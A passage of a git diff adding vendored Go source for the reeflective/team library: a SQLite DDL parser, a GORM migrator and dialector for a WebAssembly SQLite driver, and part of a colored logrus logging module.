sqliteSeparator)) + tableRegexp = regexp.MustCompile(fmt.Sprintf("(?is)(CREATE TABLE [%v]?[\\w\\d-]+[%v]?)(?: \\((.*)\\))?", sqliteSeparator, sqliteSeparator)) + separatorRegexp = regexp.MustCompile(fmt.Sprintf("[%v]", sqliteSeparator)) + columnsRegexp = regexp.MustCompile(fmt.Sprintf("\\([%v]?([\\w\\d]+)[%v]?(?:,[%v]?([\\w\\d]+)[%v]){0,}\\)", sqliteSeparator, sqliteSeparator, sqliteSeparator, sqliteSeparator)) + columnRegexp = regexp.MustCompile(fmt.Sprintf("^[%v]?([\\w\\d]+)[%v]?\\s+([\\w\\(\\)\\d]+)(.*)$", sqliteSeparator, sqliteSeparator)) + defaultValueRegexp = regexp.MustCompile("(?i) DEFAULT \\(?(.+)?\\)?( |COLLATE|GENERATED|$)") + regRealDataType = regexp.MustCompile(`[^\d](\d+)[^\d]?`) +) + +type ddl struct { + head string + fields []string + columns []migrator.ColumnType +} + +func parseDDL(strs ...string) (*ddl, error) { + var result ddl + for _, str := range strs { + if sections := tableRegexp.FindStringSubmatch(str); len(sections) > 0 { + var ( + ddlBody = sections[2] + ddlBodyRunes = []rune(ddlBody) + bracketLevel int + quote rune + buf string + ) + ddlBodyRunesLen := len(ddlBodyRunes) + + result.head = sections[1] + + for idx := 0; idx < ddlBodyRunesLen; idx++ { + var ( + next rune = 0 + c = ddlBodyRunes[idx] + ) + if idx+1 < ddlBodyRunesLen { + next = ddlBodyRunes[idx+1] + } + + if sc := string(c); separatorRegexp.MatchString(sc) { + if c == next { + buf += sc // Skip escaped quote + idx++ + } else if quote > 0 { + quote = 0 + } else { + quote = c + } + } else if quote == 0 { + if c == '(' { + bracketLevel++ + } else if c == ')' { + bracketLevel-- + } else if bracketLevel == 0 { + if c == ',' { + result.fields = append(result.fields, strings.TrimSpace(buf)) + buf = "" + continue + } + } + } + + if bracketLevel < 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + buf += string(c) + } + + if bracketLevel != 0 { + return nil, errors.New("invalid DDL, unbalanced brackets") + } + + if buf != "" { + result.fields = append(result.fields, strings.TrimSpace(buf)) + } + + for _, f := range result.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") { + continue + } + + if strings.HasPrefix(fUpper, "PRIMARY KEY") { + matches := columnsRegexp.FindStringSubmatch(f) + if len(matches) > 1 { + for _, name := range matches[1:] { + for idx, column := range result.columns { + if column.NameValue.String == name { + column.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + result.columns[idx] = column + break + } + } + } + } + } else if matches := columnRegexp.FindStringSubmatch(f); len(matches) > 0 { + columnType := migrator.ColumnType{ + NameValue: sql.NullString{String: matches[1], Valid: true}, + DataTypeValue: sql.NullString{String: matches[2], Valid: true}, + ColumnTypeValue: sql.NullString{String: matches[2], Valid: true}, + PrimaryKeyValue: sql.NullBool{Valid: true}, + UniqueValue: sql.NullBool{Valid: true}, + NullableValue: sql.NullBool{Valid: true}, + DefaultValueValue: sql.NullString{Valid: false}, + } + + matchUpper := strings.ToUpper(matches[3]) + if strings.Contains(matchUpper, " NOT NULL") { + columnType.NullableValue = sql.NullBool{Bool: false, Valid: true} + } else if strings.Contains(matchUpper, " NULL") { + columnType.NullableValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " UNIQUE") { + columnType.UniqueValue = sql.NullBool{Bool: true, Valid: true} + } + if strings.Contains(matchUpper, " PRIMARY") { + columnType.PrimaryKeyValue = sql.NullBool{Bool: true, Valid: true} + } + if defaultMatches := defaultValueRegexp.FindStringSubmatch(matches[3]); len(defaultMatches) > 1 { + if strings.ToLower(defaultMatches[1]) != "null" { + columnType.DefaultValueValue = sql.NullString{String: strings.Trim(defaultMatches[1], `"`), Valid: true} + } + } + + // data type length + matches := regRealDataType.FindAllStringSubmatch(columnType.DataTypeValue.String, -1) + if len(matches) == 1 && len(matches[0]) == 2 { + size, _ := strconv.Atoi(matches[0][1]) + columnType.LengthValue = sql.NullInt64{Valid: true, Int64: int64(size)} + columnType.DataTypeValue.String = strings.TrimSuffix(columnType.DataTypeValue.String, matches[0][0]) + } + + result.columns = append(result.columns, columnType) + } + } + } else if matches := indexRegexp.FindStringSubmatch(str); len(matches) > 0 { + if columns := columnsRegexp.FindStringSubmatch(matches[1]); len(columns) == 1 { + for idx, c := range result.columns { + if c.NameValue.String == columns[0] { + c.UniqueValue = sql.NullBool{Bool: true, Valid: true} + result.columns[idx] = c + } + } + } + } else { + return nil, errors.New("invalid DDL") + } + } + + return &result, nil +} + +func (d *ddl) compile() string { + if len(d.fields) == 0 { + return d.head + } + + return fmt.Sprintf("%s (%s)", d.head, strings.Join(d.fields, ",")) +} + +func (d *ddl) addConstraint(name string, sql string) { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields[i] = sql + return + } + } + + d.fields = append(d.fields, sql) +} + +func (d *ddl) removeConstraint(name string) bool { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for i := 0; i < len(d.fields); i++ { + if reg.MatchString(d.fields[i]) { + d.fields = append(d.fields[:i], d.fields[i+1:]...) + return true + } + } + return false +} + +func (d *ddl) hasConstraint(name string) bool { + reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]") + + for _, f := range d.fields { + if reg.MatchString(f) { + return true + } + } + return false +} + +func (d *ddl) getColumns() []string { + res := []string{} + + for _, f := range d.fields { + fUpper := strings.ToUpper(f) + if strings.HasPrefix(fUpper, "PRIMARY KEY") || + strings.HasPrefix(fUpper, "CHECK") || + strings.HasPrefix(fUpper, "CONSTRAINT") || + strings.Contains(fUpper, "GENERATED ALWAYS AS") { + continue + } + + reg := regexp.MustCompile("^[\"`']?([\\w\\d]+)[\"`']?") + match := reg.FindStringSubmatch(f) + + if match != nil { + res = append(res, "`"+match[1]+"`") + } + } + return res +} diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go new file mode 100644 index 0000000000..cb6c61b035 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go @@ -0,0 +1,7 @@ +package wasmsqlite + +import "errors" + +var ( + ErrConstraintsNotImplemented = errors.New("constraints not implemented on sqlite, consider using DisableForeignKeyConstraintWhenMigrating, more details https://github.com/go-gorm/gorm/wiki/GORM-V2-Release-Note-Draft#all-new-migrator") +) diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go new file mode 100644 index 0000000000..0ea6eef487 --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go @@ -0,0 +1,423 @@ +package wasmsqlite + +import ( + "database/sql" + "fmt" + "regexp" + "strings" + + "gorm.io/gorm" + "gorm.io/gorm/clause" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" +) + +type Migrator struct { + migrator.Migrator +} + +func (m *Migrator) RunWithoutForeignKey(fc func() error) error { + var enabled int + m.DB.Raw("PRAGMA foreign_keys").Scan(&enabled) + if enabled == 1 { + m.DB.Exec("PRAGMA foreign_keys = OFF") + defer m.DB.Exec("PRAGMA foreign_keys = ON") + } + + return fc() +} + +func (m Migrator) HasTable(value interface{}) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + return m.DB.Raw("SELECT count(*) FROM sqlite_master WHERE type='table' AND name=?", stmt.Table).Row().Scan(&count) + }) + return count > 0 +} + +func (m Migrator) DropTable(values ...interface{}) error { + return m.RunWithoutForeignKey(func() error { + values = m.ReorderModels(values, false) + tx := m.DB.Session(&gorm.Session{}) + + for i := len(values) - 1; i >= 0; i-- { + if err := m.RunWithValue(values[i], func(stmt *gorm.Statement) error { + return tx.Exec("DROP TABLE IF EXISTS ?", clause.Table{Name: stmt.Table}).Error + }); err != nil { + return err + } + } + + return nil + }) +} + +func (m Migrator) GetTables() (tableList []string, err error) { + return tableList, m.DB.Raw("SELECT name FROM sqlite_master where type=?", "table").Scan(&tableList).Error +} + +func (m Migrator) HasColumn(value interface{}, name string) bool { + var count int + m.Migrator.RunWithValue(value, func(stmt *gorm.Statement) error { + if stmt.Schema != nil { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", stmt.Table, `%"`+name+`" %`, `%`+name+` %`, "%`"+name+"`%", "%["+name+"]%", "%\t"+name+"\t%", + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) AlterColumn(value interface{}, name string) error { + return m.RunWithoutForeignKey(func() error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + // lookup field from table definition, ddl might looks like `'name' int,` or `'name' int)` + reg, err := regexp.Compile("(`|'|\"| )" + field.DBName + "(`|'|\"| ) .*?(,|\\)\\s*$)") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, fmt.Sprintf("`%v` ?$3", field.DBName)) + + if createSQL == rawDDL { + return "", nil, fmt.Errorf("failed to look up field %v from DDL %v", field.DBName, rawDDL) + } + + return createSQL, []interface{}{m.FullDataTypeOf(field)}, nil + } + return "", nil, fmt.Errorf("failed to alter field with name %v", name) + }) + }) +} + +// ColumnTypes return columnTypes []gorm.ColumnType and execErr error +func (m Migrator) ColumnTypes(value interface{}) ([]gorm.ColumnType, error) { + columnTypes := make([]gorm.ColumnType, 0) + execErr := m.RunWithValue(value, func(stmt *gorm.Statement) (err error) { + var ( + sqls []string + sqlDDL *ddl + ) + + if err := m.DB.Raw("SELECT sql FROM sqlite_master WHERE type IN ? AND tbl_name = ? AND sql IS NOT NULL order by type = ? desc", []string{"table", "index"}, stmt.Table, "table").Scan(&sqls).Error; err != nil { + return err + } + + if sqlDDL, err = parseDDL(sqls...); err != nil { + return err + } + + rows, err := m.DB.Session(&gorm.Session{}).Table(stmt.Table).Limit(1).Rows() + if err != nil { + return err + } + defer func() { + err = rows.Close() + }() + + var rawColumnTypes []*sql.ColumnType + rawColumnTypes, err = rows.ColumnTypes() + if err != nil { + return err + } + + for _, c := range rawColumnTypes { + columnType := migrator.ColumnType{SQLColumnType: c} + for _, column := range sqlDDL.columns { + if column.NameValue.String == c.Name() { + column.SQLColumnType = c + columnType = column + break + } + } + columnTypes = append(columnTypes, columnType) + } + + return err + }) + + return columnTypes, execErr +} + +func (m Migrator) DropColumn(value interface{}, name string) error { + return m.recreateTable(value, nil, func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + if field := stmt.Schema.LookUpField(name); field != nil { + name = field.DBName + } + + reg, err := regexp.Compile("(`|'|\"| |\\[)" + name + "(`|'|\"| |\\]) .*?,") + if err != nil { + return "", nil, err + } + + createSQL := reg.ReplaceAllString(rawDDL, "") + + return createSQL, nil, nil + }) +} + +func (m Migrator) CreateConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + var ( + constraintName string + constraintSql string + constraintValues []interface{} + ) + + if constraint != nil { + constraintName = constraint.Name + constraintSql, constraintValues = buildConstraint(constraint) + } else if chk != nil { + constraintName = chk.Name + constraintSql = "CONSTRAINT ? CHECK (?)" + constraintValues = []interface{}{clause.Column{Name: chk.Name}, clause.Expr{SQL: chk.Constraint}} + } else { + return "", nil, nil + } + + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.addConstraint(constraintName, constraintSql) + createSQL := createDDL.compile() + + return createSQL, constraintValues, nil + }) + }) +} + +func (m Migrator) DropConstraint(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + return m.recreateTable(value, &table, + func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error) { + createDDL, err := parseDDL(rawDDL) + if err != nil { + return "", nil, err + } + createDDL.removeConstraint(name) + createSQL := createDDL.compile() + + return createSQL, nil, nil + }) + }) +} + +func (m Migrator) HasConstraint(value interface{}, name string) bool { + var count int64 + m.RunWithValue(value, func(stmt *gorm.Statement) error { + constraint, chk, table := m.GuessConstraintAndTable(stmt, name) + if constraint != nil { + name = constraint.Name + } else if chk != nil { + name = chk.Name + } + + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND (sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ? OR sql LIKE ?)", + "table", table, `%CONSTRAINT "`+name+`" %`, `%CONSTRAINT `+name+` %`, "%CONSTRAINT `"+name+"`%", "%CONSTRAINT ["+name+"]%", "%CONSTRAINT \t"+name+"\t%", + ).Row().Scan(&count) + + return nil + }) + + return count > 0 +} + +func (m Migrator) CurrentDatabase() (name string) { + var null interface{} + m.DB.Raw("PRAGMA database_list").Row().Scan(&null, &name, &null) + return +} + +func (m Migrator) BuildIndexOptions(opts []schema.IndexOption, stmt *gorm.Statement) (results []interface{}) { + for _, opt := range opts { + str := stmt.Quote(opt.DBName) + if opt.Expression != "" { + str = opt.Expression + } + + if opt.Collate != "" { + str += " COLLATE " + opt.Collate + } + + if opt.Sort != "" { + str += " " + opt.Sort + } + results = append(results, clause.Expr{SQL: str}) + } + return +} + +func (m Migrator) CreateIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if idx := stmt.Schema.LookIndex(name); idx != nil { + opts := m.BuildIndexOptions(idx.Fields, stmt) + values := []interface{}{clause.Column{Name: idx.Name}, clause.Table{Name: stmt.Table}, opts} + + createIndexSQL := "CREATE " + if idx.Class != "" { + createIndexSQL += idx.Class + " " + } + createIndexSQL += "INDEX ?" + + if idx.Type != "" { + createIndexSQL += " USING " + idx.Type + } + createIndexSQL += " ON ??" + + if idx.Where != "" { + createIndexSQL += " WHERE " + idx.Where + } + + return m.DB.Exec(createIndexSQL, values...).Error + } + + return fmt.Errorf("failed to create index with name %v", name) + }) +} + +func (m Migrator) HasIndex(value interface{}, name string) bool { + var count int + m.RunWithValue(value, func(stmt *gorm.Statement) error { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + + if name != "" { + m.DB.Raw( + "SELECT count(*) FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, name, + ).Row().Scan(&count) + } + return nil + }) + return count > 0 +} + +func (m Migrator) RenameIndex(value interface{}, oldName, newName string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + var sql string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "index", stmt.Table, oldName).Row().Scan(&sql) + if sql != "" { + return m.DB.Exec(strings.Replace(sql, oldName, newName, 1)).Error + } + return fmt.Errorf("failed to find index with name %v", oldName) + }) +} + +func (m Migrator) DropIndex(value interface{}, name string) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + if idx := stmt.Schema.LookIndex(name); idx != nil { + name = idx.Name + } + + return m.DB.Exec("DROP INDEX ?", clause.Column{Name: name}).Error + }) +} + +func buildConstraint(constraint *schema.Constraint) (sql string, results []interface{}) { + sql = "CONSTRAINT ? FOREIGN KEY ? REFERENCES ??" + if constraint.OnDelete != "" { + sql += " ON DELETE " + constraint.OnDelete + } + + if constraint.OnUpdate != "" { + sql += " ON UPDATE " + constraint.OnUpdate + } + + var foreignKeys, references []interface{} + for _, field := range constraint.ForeignKeys { + foreignKeys = append(foreignKeys, clause.Column{Name: field.DBName}) + } + + for _, field := range constraint.References { + references = append(references, clause.Column{Name: field.DBName}) + } + results = append(results, clause.Table{Name: constraint.Name}, foreignKeys, clause.Table{Name: constraint.ReferenceSchema.Table}, references) + return +} + +func (m Migrator) getRawDDL(table string) (string, error) { + var createSQL string + m.DB.Raw("SELECT sql FROM sqlite_master WHERE type = ? AND tbl_name = ? AND name = ?", "table", table, table).Row().Scan(&createSQL) + + if m.DB.Error != nil { + return "", m.DB.Error + } + return createSQL, nil +} + +func (m Migrator) recreateTable(value interface{}, tablePtr *string, + getCreateSQL func(rawDDL string, stmt *gorm.Statement) (sql string, sqlArgs []interface{}, err error)) error { + return m.RunWithValue(value, func(stmt *gorm.Statement) error { + table := stmt.Table + if tablePtr != nil { + table = *tablePtr + } + + rawDDL, err := m.getRawDDL(table) + if err != nil { + return err + } + + newTableName := table + "__temp" + + createSQL, sqlArgs, err := getCreateSQL(rawDDL, stmt) + if err != nil { + return err + } + if createSQL == "" { + return nil + } + + tableReg, err := regexp.Compile(" ('|`|\"| )" + table + "('|`|\"| ) ") + if err != nil { + return err + } + createSQL = tableReg.ReplaceAllString(createSQL, fmt.Sprintf(" `%v` ", newTableName)) + + createDDL, err := parseDDL(createSQL) + if err != nil { + return err + } + columns := createDDL.getColumns() + + return m.DB.Transaction(func(tx *gorm.DB) error { + if err := tx.Exec(createSQL, sqlArgs...).Error; err != nil { + return err + } + + queries := []string{ + fmt.Sprintf("INSERT INTO `%v`(%v) SELECT %v FROM `%v`", newTableName, strings.Join(columns, ","), strings.Join(columns, ","), table), + fmt.Sprintf("DROP TABLE `%v`", table), + fmt.Sprintf("ALTER TABLE `%v` RENAME TO `%v`", newTableName, table), + } + for _, query := range queries { + if err := tx.Exec(query).Error; err != nil { + return err + } + } + return nil + }) + }) +} diff --git a/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go new file mode 100644 index 0000000000..2368ce791a --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go @@ -0,0 +1,224 @@ +package wasmsqlite + +import ( + "context" + "database/sql" + "strconv" + "strings" + + "gorm.io/gorm/callbacks" + + _ "github.com/ncruces/go-sqlite3" + _ "github.com/ncruces/go-sqlite3/driver" + _ "github.com/ncruces/go-sqlite3/embed" + + "gorm.io/gorm" + "gorm.io/gorm/clause" + "gorm.io/gorm/logger" + "gorm.io/gorm/migrator" + "gorm.io/gorm/schema" +) + +// DriverName is the default driver name for SQLite. +const DriverName = "sqlite3" + +type Dialector struct { + DriverName string + DSN string + Conn gorm.ConnPool +} + +func Open(dsn string) gorm.Dialector { + return &Dialector{DSN: dsn} +} + +func (dialector Dialector) Name() string { + return "sqlite" +} + +func (dialector Dialector) Initialize(db *gorm.DB) (err error) { + if dialector.DriverName == "" { + dialector.DriverName = DriverName + } + + if dialector.Conn != nil { + db.ConnPool = dialector.Conn + } else { + conn, err := sql.Open(dialector.DriverName, dialector.DSN) + if err != nil { + return err + } + db.ConnPool = conn + } + + var version string + if err := db.ConnPool.QueryRowContext(context.Background(), "select sqlite_version()").Scan(&version); err != nil { + return err + } + // https://www.sqlite.org/releaselog/3_35_0.html + if compareVersion(version, "3.35.0") >= 0 { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + CreateClauses: []string{"INSERT", "VALUES", "ON CONFLICT", "RETURNING"}, + UpdateClauses: []string{"UPDATE", "SET", "WHERE", "RETURNING"}, + DeleteClauses: []string{"DELETE", "FROM", "WHERE", "RETURNING"}, + LastInsertIDReversed: true, + }) + } else { + callbacks.RegisterDefaultCallbacks(db, &callbacks.Config{ + LastInsertIDReversed: true, + }) + } + + for k, v := range dialector.ClauseBuilders() { + db.ClauseBuilders[k] = v + } + return +} + +func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder { + return map[string]clause.ClauseBuilder{ + "INSERT": func(c clause.Clause, builder clause.Builder) { + if insert, ok := c.Expression.(clause.Insert); ok { + if stmt, ok := builder.(*gorm.Statement); ok { + stmt.WriteString("INSERT ") + if insert.Modifier != "" { + stmt.WriteString(insert.Modifier) + stmt.WriteByte(' ') + } + + stmt.WriteString("INTO ") + if insert.Table.Name == "" { + stmt.WriteQuoted(stmt.Table) + } else { + stmt.WriteQuoted(insert.Table) + } + return + } + } + + c.Build(builder) + }, + "LIMIT": func(c clause.Clause, builder clause.Builder) { + if limit, ok := c.Expression.(clause.Limit); ok { + var lmt = -1 + if limit.Limit != nil && *limit.Limit >= 0 { + lmt = *limit.Limit + } + if lmt >= 0 || limit.Offset > 0 { + builder.WriteString("LIMIT ") + builder.WriteString(strconv.Itoa(lmt)) + } + if limit.Offset > 0 { + builder.WriteString(" OFFSET ") + builder.WriteString(strconv.Itoa(limit.Offset)) + } + } + }, + "FOR": func(c clause.Clause, builder clause.Builder) { + if _, ok := c.Expression.(clause.Locking); ok { + // SQLite3 does not support row-level locking. + return + } + c.Build(builder) + }, + } +} + +func (dialector Dialector) DefaultValueOf(field *schema.Field) clause.Expression { + if field.AutoIncrement { + return clause.Expr{SQL: "NULL"} + } + + // doesn't work, will raise error + return clause.Expr{SQL: "DEFAULT"} +} + +func (dialector Dialector) Migrator(db *gorm.DB) gorm.Migrator { + return Migrator{migrator.Migrator{Config: migrator.Config{ + DB: db, + Dialector: dialector, + CreateIndexAfterCreateTable: true, + }}} +} + +func (dialector Dialector) BindVarTo(writer clause.Writer, stmt *gorm.Statement, v interface{}) { + writer.WriteByte('?') +} + +func (dialector Dialector) QuoteTo(writer clause.Writer, str string) { + writer.WriteByte('`') + if strings.Contains(str, ".") { + for idx, str := range strings.Split(str, ".") { + if idx > 0 { + writer.WriteString(".`") + } + writer.WriteString(str) + writer.WriteByte('`') + } + } else { + writer.WriteString(str) + writer.WriteByte('`') + } +} + +func (dialector Dialector) Explain(sql string, vars ...interface{}) string { + return logger.ExplainSQL(sql, nil, `"`, vars...) +} + +func (dialector Dialector) DataTypeOf(field *schema.Field) string { + switch field.DataType { + case schema.Bool: + return "numeric" + case schema.Int, schema.Uint: + if field.AutoIncrement && !field.PrimaryKey { + // https://www.sqlite.org/autoinc.html + return "integer PRIMARY KEY AUTOINCREMENT" + } else { + return "integer" + } + case schema.Float: + return "real" + case schema.String: + return "text" + case schema.Time: + return "datetime" + case schema.Bytes: + return "blob" + } + + return string(field.DataType) +} + +func (dialectopr Dialector) SavePoint(tx *gorm.DB, name string) error { + tx.Exec("SAVEPOINT " + name) + return nil +} + +func (dialectopr Dialector) RollbackTo(tx *gorm.DB, name string) error { + tx.Exec("ROLLBACK TO SAVEPOINT " + name) + return nil +} + +func compareVersion(version1, version2 string) int { + n, m := len(version1), len(version2) + i, j := 0, 0 + for i < n || j < m { + x := 0 + for ; i < n && version1[i] != '.'; i++ { + x = x*10 + int(version1[i]-'0') + } + i++ + y := 0 + for ; j < m && version2[j] != '.'; j++ { + y = y*10 + int(version2[j]-'0') + } + j++ + if x > y { + return 1 + } + if x < y { + return -1 + } + } + return 0 +} diff --git a/vendor/github.com/reeflective/team/internal/log/cli.go b/vendor/github.com/reeflective/team/internal/log/cli.go new file mode 100644 index 0000000000..5c6963fe4d --- /dev/null +++ b/vendor/github.com/reeflective/team/internal/log/cli.go @@ -0,0 +1,302 @@ +package log + +/* + team - Embedded teamserver for Go programs and CLI applications + Copyright (C) 2023 Reeflective + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "fmt" + "os" + "strings" + + "github.com/rsteube/carapace/pkg/style" + "github.com/sirupsen/logrus" +) + +// Text effects. +const ( + sgrStart = "\x1b[" + fg = "38;05;" + bg = "48;05;" + sgrEnd = "m" +) + +const ( + fieldTimestamp = "timestamp" + fieldPackage = "logger" + fieldMessage = "message" + + minimumPackagePad = 11 +) + +// PackageFieldKey is used to identify the name of the package +// specified by teamclients and teamservers named loggers. +const PackageFieldKey = "teamserver_pkg" + +// stdioHook combines a stdout hook (info/debug/trace), +// and a stderr hook (warn/error/fatal/panic). +type stdioHook struct { + logger *logrus.Logger +} + +func newStdioHook() *stdioHook { + hook := &stdioHook{ + logger: NewStdio(logrus.WarnLevel), + } + + return hook +} + +// The stdout hooks only outputs info, debug and trace. +func (hook *stdioHook) Levels() []logrus.Level { + return logrus.AllLevels +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *stdioHook) Fire(entry *logrus.Entry) error { + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panic(entry.Message) + case logrus.FatalLevel: + hook.logger.Fatal(entry.Message) + case logrus.ErrorLevel: + hook.logger.Error(entry.Message) + case logrus.WarnLevel: + hook.logger.Warn(entry.Message) + case logrus.InfoLevel: + hook.logger.Info(entry.Message) + case logrus.DebugLevel: + hook.logger.Debug(entry.Message) + case logrus.TraceLevel: + hook.logger.Trace(entry.Message) + } + + return nil +} + +func newLoggerStdout() *stdoutHook { + stdLogger := logrus.New() + stdLogger.SetReportCaller(true) + stdLogger.Out = os.Stdout + + stdLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + + hook := &stdoutHook{ + logger: stdLogger, + } + + return hook +} + +// stderrHook only logs info events and less. +type stdoutHook struct { + DisableColors bool + ShowTimestamp bool + TimestampFormat string + Colors map[string]string + logger *logrus.Logger +} + +// The stdout hooks only outputs info, debug and trace. +func (hook *stdoutHook) Levels() []logrus.Level { + return []logrus.Level{ + logrus.InfoLevel, + logrus.DebugLevel, + logrus.TraceLevel, + } +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *stdoutHook) Fire(entry *logrus.Entry) error { + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panic(entry.Message) + case logrus.FatalLevel: + hook.logger.Fatal(entry.Message) + case logrus.ErrorLevel: + hook.logger.Error(entry.Message) + case logrus.WarnLevel: + hook.logger.Warn(entry.Message) + case logrus.InfoLevel: + hook.logger.Info(entry.Message) + case logrus.DebugLevel: + hook.logger.Debug(entry.Message) + case logrus.TraceLevel: + hook.logger.Trace(entry.Message) + } + + return nil +} + +// Format is a custom formatter for all stdout/text logs, with better format and coloring. +func (hook *stdoutHook) Format(entry *logrus.Entry) ([]byte, error) { + // Basic information. + sign, signColor := hook.getLevelFieldColor(entry.Level) + levelLog := fmt.Sprintf("%s%s%s", color(signColor), sign, color(style.Default)) + + timestamp := entry.Time.Format(hook.TimestampFormat) + timestampLog := fmt.Sprintf("%s%s%s", color(hook.Colors[fieldTimestamp]), timestamp, color(style.Default)) + + var pkgLogF string + + pkg := entry.Data[PackageFieldKey] + if pkg != nil { + pkgLog := fmt.Sprintf(" %v ", pkg) + pkgLog = fmt.Sprintf("%-*s", minimumPackagePad, pkgLog) + pkgLogF = strings.ReplaceAll(pkgLog, fmt.Sprintf("%s", pkg), fmt.Sprintf("%s%s%s", color(hook.Colors[fieldPackage]), pkg, color(style.Default))) + } + + // Always try to unwrap the error at least once, and colorize it. + message := entry.Message + if err := errors.Unwrap(errors.New(message)); err != nil { + if err.Error() != message { + message = color(style.Red) + message + color(style.Of(style.Default, style.White)) + err.Error() + color(style.Default) + } + } + + messageLog := fmt.Sprintf("%s%s%s", color(hook.Colors[fieldMessage]), message, color(style.Default)) + + // Assemble the log message + var logMessage string + + if hook.ShowTimestamp { + logMessage += timestampLog + " " + } + + logMessage += pkgLogF + " " + logMessage += levelLog + " " + logMessage += messageLog + "\n" + + return []byte(logMessage), nil +} + +func (hook *stdoutHook) getLevelFieldColor(level logrus.Level) (string, string) { + // Builtin configurations. + signs := defaultLevelFields() + colors := defaultLevelFieldsColored() + + if sign, ok := signs[level]; ok { + if color, ok := colors[sign]; ok { + return sign, color + } + + return sign, style.Default + } + + return signs[logrus.InfoLevel], style.Default +} + +// stderrHook only logs warning events and worst. +type stderrHook struct { + DisableColors bool + ShowTimestamp bool + TimestampFormat string + Colors map[string]string + logger *logrus.Logger +} + +func newLoggerStderr() *stderrHook { + stdLogger := logrus.New() + stdLogger.SetLevel(logrus.WarnLevel) + stdLogger.SetReportCaller(true) + stdLogger.Out = os.Stderr + + stdLogger.Formatter = &stdoutHook{ + DisableColors: false, + ShowTimestamp: false, + Colors: defaultFieldsFormat(), + } + + hook := &stderrHook{ + logger: stdLogger, + } + + return hook +} + +// Fire - Implements the fire method of the Logrus hook. +func (hook *stderrHook) Fire(entry *logrus.Entry) error { + switch entry.Level { + case logrus.PanicLevel: + hook.logger.Panic(entry.Message) + case logrus.FatalLevel: + hook.logger.Fatal(entry.Message) + case logrus.ErrorLevel: + hook.logger.Error(entry.Message) + case logrus.WarnLevel: + hook.logger.Warn(entry.Message) + case logrus.InfoLevel: + hook.logger.Info(entry.Message) + case logrus.DebugLevel: + hook.logger.Debug(entry.Message) + case logrus.TraceLevel: + hook.logger.Trace(entry.Message) + } + + return nil +} + +// The stderr hooks only outputs errors and worst. +func (hook *stderrHook) Levels() []logrus.Level { + return []logrus.Level{ + logrus.WarnLevel, + logrus.ErrorLevel, + logrus.FatalLevel, + logrus.PanicLevel, + } +} + +func 